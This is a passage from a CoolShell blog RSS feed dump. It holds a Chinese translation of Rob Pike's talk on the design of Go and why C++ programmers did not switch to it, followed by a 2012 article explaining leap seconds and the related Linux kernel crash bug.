+0000</pubDate>\n\t\t\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Go]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=7771</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>【感谢网友 @innocentim (Twitter) 投稿】 这是一篇翻译练习。力图保留原意。若有不准确处，求速速指出。猛击此处（墙）看原文。作者为Rob P...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/7771.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/7771.html\">少即是极多</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>【<span style=\"color: #cc0000;\"><strong>感谢网友 <a href=\"https://twitter.com/#!/innocentim\" target=\"_blank\">@innocentim</a></strong> (Twitter)<strong> 投稿</strong></span>】</p>\n<p>这是一篇翻译练习。力图保留原意。若有不准确处，求速速指出。<a href=\"http://commandcenter.blogspot.com/2012/06/less-is-exponentially-more.html\" target=\"_blank\">猛击此处</a>（墙）看原文。作者为Rob Pike，贝尔实验室来的大牛，现在就职于Google。他主导了Go语言的创建工作。下面是正文——</p>\n<p style=\"text-align: center; font-size: 9pt;\"><span style=\"color: #999999;\">——————————————正文分隔线——————————————</span></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-7818\" title=\"Less is More\" src=\"https://coolshell.cn/wp-content/uploads/2012/06/Less-is-More-Box-ShopTab-300x282.jpg\" alt=\"\" width=\"300\" height=\"282\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/06/Less-is-More-Box-ShopTab-300x282.jpg 300w, https://coolshell.cn/wp-content/uploads/2012/06/Less-is-More-Box-ShopTab-300x282-287x270.jpg 287w\" sizes=\"(max-width: 300px) 100vw, 300px\" />这是我在2012年6月的Go SF上演讲的文本。</p>\n<p>这是一个个人演讲。 我承认，虽然面前的团队让Go诞生并延续，但是我的观点并不代表任何其他Go语言小组成员的意见。 我也想感谢Go SF的组织者提供这个和你们交流的机会。</p>\n<p>几星期前我被问起:“你在推出Go的过程中遇到的最大的惊奇是什么？&#8221;我立即意识到了答案: 虽然我们希望C++程序员意识到Go是个较好的选择，但是令人意外的是，大多数Go程序员来自Python和Ruby这样的动态语言，而很少有来自C++的。</p>\n<p>我们——Ken，Robert和我——是C++程序员(译者: Ken也用C++？)，当时在为解决我们所写的这类软件产生的问题设计一个新的语言。 这似乎有点自相矛盾，因为别的C++程序员根本不关心这些问题，更不会去设计一个语言。</p>\n<p>我今天想说的是关于那些激发我们创造Go的事情，和为什么它本不应令我们如此惊讶。 我保证这些内容更多与Go相关而不是C++，所以即使你不很了解C++你也能跟得上。</p>\n<p>回答可以这样归结: 你认为&#8221;少即是多&#8221;呢，还是&#8221;少就是少&#8221;？</p>\n<p>这里有个比喻，将以真实故事的形式给出。 贝尔实验室中心原来发放3位数号码: 物理研究是111，计算科学研究是127，如此这般。 1980年代早期，一个便笺飞过来说&#8221;鉴于你们对研究的理解有所加深，将为你们的号码多加上一位，以便更好地体现你们的工作&#8221;。 所以我们中心的号码变成了1127。 Ron Hardin半当真地开玩笑说如果我们真的理解我们的世界更好一点的话，我们将丢掉一位数字，将127变成27。 当然主管没听到这个笑话(这也不是我们希望的)，但是我想这里面有点值得思考的东西。 少即是多。 你理解得越好，你将变得越简洁。</p>\n<p><span id=\"more-7771\"></span></p>\n<p>先记住这句话。</p>\n<p>回到2007年9月，我在做一个庞大的Google C++项目的细微但核心的部分。 开发必须交互进行，但是我这部分在我们的Google编译集群上要编译45分钟。 同时，有个消息传过来说一群在C++社区的Google员工将开一场讲座，介绍即将到来的C++0x(现在称为C++11)。</p>\n<p>在那场持续一小时的讲座中，我们听说了诸如计划中的35个新特性的说法——事实上还有更多，但是那场讲座只说有35个。 有些特性当然是细微的，但是讲座中谈到的至少是足够重要的。 提到的特性中，有些十分微妙并难以理解，比如右值引用(rvalue references); 有些特别符合C++范儿，比如可变参数模板(variadic templates); 还有些十分疯狂，比如用户定义的字面量(user-defined literals)。</p>\n<p>那时候我问了自己一个问题: C++社区真的觉得C++错在没有足够多的特性么？ 显然，从Ron Hardin的笑话的角度看，简化语言将比添加新特性取得更好的效果。 当然，对C++来说这很不靠谱，但是先记住这点。</p>\n<p>在这场讲座的几个月之前我做了一场讲座(你可以通过<a href=\"http://video.google.com/videoplay？docid=810232012617965344\" target=\"_blank\">YouTube</a>看到)，讲的是一个我1980年代做的一个玩具并发编程语言。 这个语言叫<a href=\"ftp://cs.bell-labs.com/cm/cs/who/rsc/thread/newsqueak.pdf\" target=\"_blank\">Newsqueak</a>，而且显然地，它成为了Go的前身。</p>\n<p>在我在Google工作的过程中，我发现我丢掉了Newsqueak中的一些点子。 现在我将重新思考它们，所以我才做了那场讲座。 我相信它们会让服务器端编程变得更容易，而且Google能真正从中获益。</p>\n<p>我真的尝试将这些点子加入到C++中，可惜失败了。 我实在难以将一组并发操作融入到C++的控制流程中去——当真融进去的话，它们将变得十分丑陋，从而难以看到优越性。 另外，C++将它变得十分臃肿(虽然我从来没真正发现C++苗条过)。 所以我放弃了这个想法。</p>\n<p>但是C++0x的讲座使我再次思考。 一件事十分困扰我——我相信也困扰着Ken和Robert——C++的新内存模型居然新增了原子类型。 为这个不堪重负的类型系统加上这么个细致精巧到极致类型机制十分的不靠谱，不是么？ 将语言和今日的硬件绑在一起似乎有点目光短浅并且不明智，因为硬件过几年就有大变。</p>\n<p>那场C++0x讲座结束之后，我们回到办公室。 我开始了另一个编译(译者笑)，转过转过我的椅子，面对Robert，然后开始问一些尖锐的问题。 在编译完成之前，我们拉拢了Ken，并决定做些什么。 我们再也不想写C++了，并且我们——尤其是我——在写Google代码时，想让并发拿来就用。 同时我们也想解决&#8221;大系统编程&#8221;的问题，容后细说。</p>\n<p>我们在白板上写下一组我们需要的东西——迫切需要的那种。 我们规划出大体的轮廓，忽略了语法细节和语义。</p>\n<p>我仍然有一条碉堡了的那周的邮件线索。 这是一些摘录:</p>\n<blockquote><p><strong>Robert</strong>: 起点: C，修补一些显而易见的瑕疵，去除繁杂的东西。 新增一些特性。</p>\n<p><strong>Rob</strong>: 命名为&#8217;go&#8217;。 你可以为这个名字编造各种理由，但是它确实拥有很多好的特性。 它短小，易于打出。 工具么: goc，gol，goa。 如果有个交互式调试器/解释器，可以直接叫&#8217;go&#8217;。 代码后缀是。go。</p>\n<p><strong>Robert</strong>: 空接口: interface {}。 将被所有接口实现(译者: 原文如此)，并且可以取代void*。</p></blockquote>\n<p>我们并没有立即全部设计出来。 比如我们花了一年多才设计出了数组(array)和切片(slice)。 不过相当一部分重要的设计在最初的几天中浮现。</p>\n<p>注意到Robert说C是起点，并非C++。 对于这点我不是很确定，不过我相信他说的是C，因为Ken在场(译者笑)。 但是最后我们并没有从C开始，这倒是真的。 我们从最初的草稿开始，仅仅从其它语言中借鉴琐碎的东西，比如运算符，各种括号和一些常见的关键字。(当然我们也借鉴了我们所知道的语言中的思想。)不管怎么说，我们破而后立，从头做起，以此来响应C++。 我们并非想做一个更好的C++，甚至不是一个更好的C。 它仅仅是一个对我们所关心的软件来说更好的语言。</p>\n<p>最后，我们得到了既不同于C也不同于C++的东西，甚至比许多人意识到的还要不同。 我列了一个对于C和C++的Go的重要的简化的列表:</p>\n<ul>\n<li>常规的语法(不需要一个符号表来辅助解析)</li>\n<li>GC机制(仅仅是GC)</li>\n<li>没有头文件</li>\n<li>显式依赖关系</li>\n<li>没有循环依赖</li>\n<li>数字常量仅仅是数字(译者: 没有类型)</li>\n<li>int和int32不是同种类型</li>\n<li>字母大小写将确定可见性</li>\n<li>任何类型都可以有方法(没有类)</li>\n<li>没有子类型继承(没有子类)</li>\n<li>包级别的初始化和良好定义的初始化顺序</li>\n<li>同一个包的文件一起编译</li>\n<li>包级别的全局定义可以以任意顺序进行</li>\n<li>没有算术类型转换(常量可以弥补)</li>\n<li>接口是隐式实现的(没有&#8221;implements&#8221;声明)</li>\n<li>嵌入的结构体(没有类型提升和子类)</li>\n<li>方法像函数一样定义(不必定义在特殊的地方)</li>\n<li>方法就是函数</li>\n<li>接口就是方法(没有数据)</li>\n<li>方法仅仅靠名字匹配(不是靠类型)</li>\n<li>没有构造函数和析构函数</li>\n<li>后置增量/减量运算符仅仅是语句，而不是表达式</li>\n<li>没有前置增量/减量运算符</li>\n<li>赋值号是语句，不是表达式</li>\n<li>表达式求值顺序在赋值和函数调用时确定(没有所谓的&#8221;sequence point&#8221;)</li>\n<li>没有指针算术</li>\n<li>内存总是初始化为0</li>\n<li>对本地变量取地址是合法的</li>\n<li>方法中没有叫this的指针</li>\n<li>分段式栈</li>\n<li>没有常量或其它类型的注记</li>\n<li>没有模板</li>\n<li>没有异常</li>\n<li>内建字符串，切片和映射(map)</li>\n<li>数组边界检查</li>\n</ul>\n<p>并且，我相信通过这一系列的简化，Go将比C或C++更具有表现力。 少即是多。</p>\n<p>但是我们没法一下子把所有部分都做出来。 我们需要构建最基础的部分，比如说类型系统的表示，能良好应用于实际的语法，和一些无法形容的但能让库更容易相互操作的东西。</p>\n<p>我们同样增加了C或C++中没有的东西，比如切片和映射，组合字面量(？)，文件顶层的表达式(这虽是件大事，但是几乎不为人知)，反射机制，GC等等。 自然，还有并发。</p>\n<p>一个显眼的缺少的东西是类型的继承。 请允许我粗暴地对待它一分钟。</p>\n<p>早先构建Go的时候有人跟我说，他无法想象用一门没有泛型的语言工作。 正如我在别处说明的那样，我觉得这是个很诡异的言论。</p>\n<p>公平起见，他用自己的话说可能是他真的很喜欢C++中STL的那些容器。 以辩论为目的的话，我们来正面看看他的言论。</p>\n<p>他说的意味着: 他发现写一个容器，比如以int为元素类型的链表，或字符串映射是一种不能忍的重负。 我发现这是个很诡异的言论，因为我几乎没把时间花在那些个问题上，即使我在用没有泛型的语言。</p>\n<p>但是，更重要的是，他说的那些表示<em>类型系统</em>将会解除这种负担。 <em>类型系统</em>。 不是多态函数，或语言级原语，或其它类型的辅助手段(helpers)，而仅仅是<em>类型系统</em>。</p>\n<p>这就是粘住我的那个细节。</p>\n<p>从C++或Java来Go的程序员怀念和类型系统在一起的日子，特别是带继承和子类的那部分。 也许我在类型系统方面是粗暴了些，但是我绝不觉得那套玩意非常具有表现力。</p>\n<p>我已故的朋友Alain Fournier一次告诉我说他认为学术工作的最底层是分类学。 然后信不信由你，类型继承正是分类学。 你必须决定哪个萝卜扔哪个坑里，每个类型的父类型，A是否继承B或者B是否继承A。 一个可排序的数组是一个带有sort方法的数组呢，还是一个长得像数组的排序器呢？ 如果你觉得类型系统能解决所有设计上的问题，你必须做出这个无意义的选择。</p>\n<p>我相信对编程来说那是个荒诞的思路。 真正的重点不在于事物之间的继承关系，而在于它们能提供些什么。</p>\n<p>因此，接口这个概念进入了Go。 但是它们都是主要部分——真正的Go之道——的一部分。</p>\n<p>如果C++和Java注重类型继承和类型系统的分类学，那末Go就注重组合。</p>\n<p>Doug Mcilroy，Unix管道的最终发明人，在1964年(!)写道:</p>\n<blockquote><p>我们应该有一些机制能将程序耦合(串)起来，像花园软管那样——当我们需要另一种方式传送数据时，拧紧另外一段即可。 I/O也可以这么做。</p></blockquote>\n<p>这也是Go所提倡的道路。 Go吸收这个观点，然后把它推进得十分远。 这是一门关于(功能上的)组合和(调用上的)耦合的语言。</p>\n<p>一个显然的例子是接口是组合各部分的途径。 关键是，那些部分是什么并不重要，如果某类型实现了M方法我就可以把这个方法填到接口里去。</p>\n<p>另一个重要的例子是如何让并发性提供给我们不同的独立计算部分的组合。</p>\n<p>并且还有一种不同寻常(但十分简单)的类型组合形式: 嵌入。</p>\n<p>————————————————————————</p>\n<p>我想提一个和之前不太相关的Go设计: Go被设计为大型团队用来写大型程序的语言。</p>\n<p>这里有个概念是&#8221;大型编程&#8221;，并且不知何故C++和Java主宰了这个领域。 我相信这只是因为其历史巧合，或者是工业上的巧合。 但是被广泛接纳的观点是他们和面向对象设计有关。</p>\n<p>我压根不相信这点。 大型软件需要确定的方法，但是更重要的是它需要强依赖性管理，干净的接口抽象和优越的文档工具。 C++没一点做得好的(虽然Java明显要好很多)。</p>\n<p>我们还不知道Go语言能做到何种程度，因为现在还没有足够的软件是用Go写的。 但是我非常有信心于Go将会成为一个优越的大型编程语言。 时间会说明一切的。</p>\n<p>————————————————————————</p>\n<p>现在，回到我们演讲开始提的那个问题:</p>\n<p>为什么Go，作为从头被设计为符合C++使用者习惯的语言，没有吸引很多C++程序员？</p>\n<p>严肃点说，我觉得是因为Go和C++在哲学方面有着巨大的不同。</p>\n<p>C++是将所有东西提到你指尖上(译者: 即多范式)。 我在C++11的FAQ上找到了这段引用:</p>\n<blockquote><p>C++能优雅地，灵活地，零损耗地(相比于手工操纵代码)表达抽象的能力大幅提升了。</p></blockquote>\n<p>Go并非这种&#8221;围绕式&#8221;的。 你并不需要所有的东西都内建好。 你不需要对每个执行细节进行精细的控制。 比如，你不需要RAII，但你拥有一个垃圾回收器，也意味着你不需要执行释放内存的操作。</p>\n<p>你得到的是一组非常强有力但易于理解，易于用来构建积木的功能，这些积木可以用来组合出一个你需要的问题的解法。 这并不意味着它能像别的一些语言创造的解法一样快速，复杂，或带来思想上的激励，但是它总能保证易于书写，易于阅读，易于理解，易于维护，而且可能更安全。</p>\n<p>从另一个角度说，这当然算作过度简化:</p>\n<p>Python和Ruby程序员转到Go，因为他们不需要牺牲表达能力，却获得了性能的提升，并且能好好玩并发系统了。</p>\n<p>C++程序员<em>并没有</em>转到Go是因为他们好不容易获得了对程序的精细控制，并且不想牺牲它们的任何一部分。 对他们而言，写软件不仅包括把事情做完，而且包括用特定的方式完成。</p>\n<p>关键是，在将来，Go的成功将会颠覆他们的世界观。</p>\n<p>并且从一开始我们就应该意识到这点。 对于C++11的新特性很兴奋的人们并不关心一个拥有如此少特性的语言。 即使最后他提供了如此多。</p>\n<p>谢谢。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"对技术的态度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_title\">对技术的态度</a></li><li ><a href=\"https://coolshell.cn/articles/7965.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/fork01jpg-150x150.jpg\" alt=\"一个fork的面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7965.html\" class=\"wp_rp_title\">一个fork的面试题</a></li><li ><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/07/programmer-150x150.png\" alt=\"程序员技术练级攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_title\">程序员技术练级攻略</a></li><li ><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"如何学好C语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_title\">如何学好C语言</a></li><li ><a href=\"https://coolshell.cn/articles/1761.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/spell_it_with_e-150x150.jpg\" alt=\"Go语言源码的一个改动\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1761.html\" class=\"wp_rp_title\">Go语言源码的一个改动</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7771.html\">少即是极多</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/7771.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>50</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>关于闰秒</title>\n\t\t<link>https://coolshell.cn/articles/7804.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/7804.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 30 Jun 2012 09:16:34 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[leap time]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[timestamp]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=7804</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>2012年6月30日，也就今天晚上，时间会多出现一秒，也就是我们所说的闰秒。我不知道大家对闰秒的了解有多少，所以写下这篇文章。 背景知识 闰秒是在在UTC（中文...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/7804.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/7804.html\">关于闰秒</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>2012年6月30日，也就今天晚上，时间会多出现一秒，也就是我们所说的闰秒。我不知道大家对闰秒的了解有多少，所以写下这篇文章。</p>\n<h4>背景知识</h4>\n<p>闰秒是在在<a href=\"http://en.wikipedia.org/wiki/Coordinated_Universal_Time\" target=\"_blank\">UTC</a>（中文“世界标准时间”或“世界协调时间<strong>”</strong>／英文“<strong>C</strong>oordinated <strong>U</strong>niversal <strong>T</strong>ime”／法文“<strong>T</strong>emps <strong>U</strong>niversel <strong>C</strong>ordonné”）是基于<a href=\"http://en.wikipedia.org/wiki/Atomic_clock\" target=\"_blank\">Atomic Clock</a>（原子时钟）的一种时间，向太阳时（<a title=\"Mean solar day\" href=\"http://en.wikipedia.org/wiki/Mean_solar_day\">Solar Time </a>）对齐的一种方法，因为太阳时是根据地球公转来计算的。所以，1972年制定的UTC为了确保其时间相对于UTC的时间误差不能超过0.9秒，因此在过一段时间后需要加一秒。下图是有UTC以来闰秒的调整表（来自<a href=\"http://zh.wikipedia.org/wiki/%E9%97%B0%E7%A7%92\" target=\"_blank\">Wikipedia闰秒的中文词条</a>）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7805\" title=\"闰秒\" src=\"https://coolshell.cn/wp-content/uploads/2012/06/闰秒.png\" alt=\"\" width=\"433\" height=\"383\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/06/闰秒.png 433w, https://coolshell.cn/wp-content/uploads/2012/06/闰秒-300x265.png 300w, https://coolshell.cn/wp-content/uploads/2012/06/闰秒-305x270.png 305w\" sizes=\"(max-width: 433px) 100vw, 433px\" /></p>\n<p><span id=\"more-7804\"></span></p>\n<p>从上表中我们可以看到，从1972年到现在，在这四十年里已经进行过25次的闰秒调整。闰秒是在每年6月或12月的最后一天的最后一分钟进行跳秒或不跳秒。是否加入闰秒由位于巴黎的国际地球自转和参考坐标系统服务（IERS &#8211; <a title=\"International Earth Rotation and Reference Systems Service\" href=\"http://en.wikipedia.org/wiki/International_Earth_Rotation_and_Reference_Systems_Service\">International Earth Rotation and Reference Systems Service</a>）决定。如果决定加入闰秒，那么这一秒是被加在第二天的00:00:00前的，也就是说，时间会出现23:59:60的情况，然后才是第二天的00:00:00。如果是负闰秒的话，23:59:58的下一秒就直接跳到第二天的00:00:00了。<strong>现在，所有闰秒都是正闰秒</strong>。</p>\n<h4>计算机处理闰秒</h4>\n<p>那么，对于我们的电脑系统来说，怎么处理这个闰秒呢？一般来说，我们需要为我们的电脑系统配置UTC时钟，并通过NTP (<a title=\"Network time protocol\" href=\"http://en.wikipedia.org/wiki/Network_time_protocol\">Network time protocol</a>)来进行时间同步，NTP服务器会一级一级地下发闰秒事件通知直到最边缘的NTP服务器，然后NTP服务器就会把闰秒通知发给客户端的操作系统，由操作系统来处理闰秒通知。</p>\n<p>虽然闰秒调整对普通民众的日常生活不会产生影响。不过，<strong>这个问题将影响部分开启ntp服务的Linux操作系统——会导致Linux内核Crash！</strong>Linux kernel是在2.6.18-164.e15之后的版本中解决了这个问题。<span style=\"color: #cc0000;\">换句话说，Linux kernel低于<strong>2.6.18-164</strong>的Linux系统，无论是什么公司的Linux都将受到影响</span>。（今晚过后大家可以查看一下你的Linux系统日志，看看闰秒有没有发生）</p>\n<p>可以参看下面的bug描述：</p>\n<ul>\n<li><a href=\"https://lkml.org/lkml/2009/1/2/373\" target=\"_blank\">LKML: Chris Adams: Re: Bug: Status/Summary of slashdot leap-second crash on new years 2008-2009</a></li>\n<li><a href=\"https://bugzilla.redhat.com/show_bug.cgi?id=479765\" target=\"_blank\">Bug 479765 &#8211; Leap second message can hang the kernel</a></li>\n</ul>\n<p>那么，我们的操作系统是怎么处理正闰秒通知的？通常来说有三种实现：</p>\n<ol>\n<li>后退一秒。</li>\n<li>停止一秒。</li>\n<li>真正的增加一秒。</li>\n</ol>\n<p>懂编程的人一眼就能看出来，前两种方式是以一种Workaround或Hack的方式解决这个问题。第一种方式会导致一些基于timestamp的消息通知乱序了，而第二种会导致出现两个一模一样的timestamp。最后一种不会出现timestamp的问题。对了，你还记得以前那篇《<a href=\"https://coolshell.cn/articles/5075.html\" rel=\"bookmark\">你确信你了解时间吗？</a>》的文章吗？</p>\n<p>最后，说说Windows，Windows  Time Service不支持闰秒通知，所以，当闰秒发生的时候，你的Windows上的时间会比实际时间快一秒钟，这需要等下一次的时钟同步才会完成修正。你可以查看这篇文章：<a href=\"http://support.microsoft.com/kb/909614/en-us\">http://support.microsoft.com/kb/909614/en-us</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/cache-150x150.png\" alt=\"缓存更新的套路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_title\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7804.html\">关于闰秒</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/7804.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>35</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-12.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 12 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=12\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Wed, 04 Dec 2019 09:10:36 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>K-Means 算法</title>\n\t\t<link>https://coolshell.cn/articles/7779.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/7779.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 29 Jun 2012 00:24:02 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[Algorithm]]></category>\n\t\t<category><![CDATA[Data Mining]]></category>\n\t\t<category><![CDATA[K-Means]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=7779</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>最近在学习一些数据挖掘的算法，看到了这个算法，也许这个算法对你来说很简单，但对我来说，我是一个初学者，我在网上翻看了很多资料，发现中文社区没有把这个问题讲得很全...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/7779.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/7779.html\">K-Means 算法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     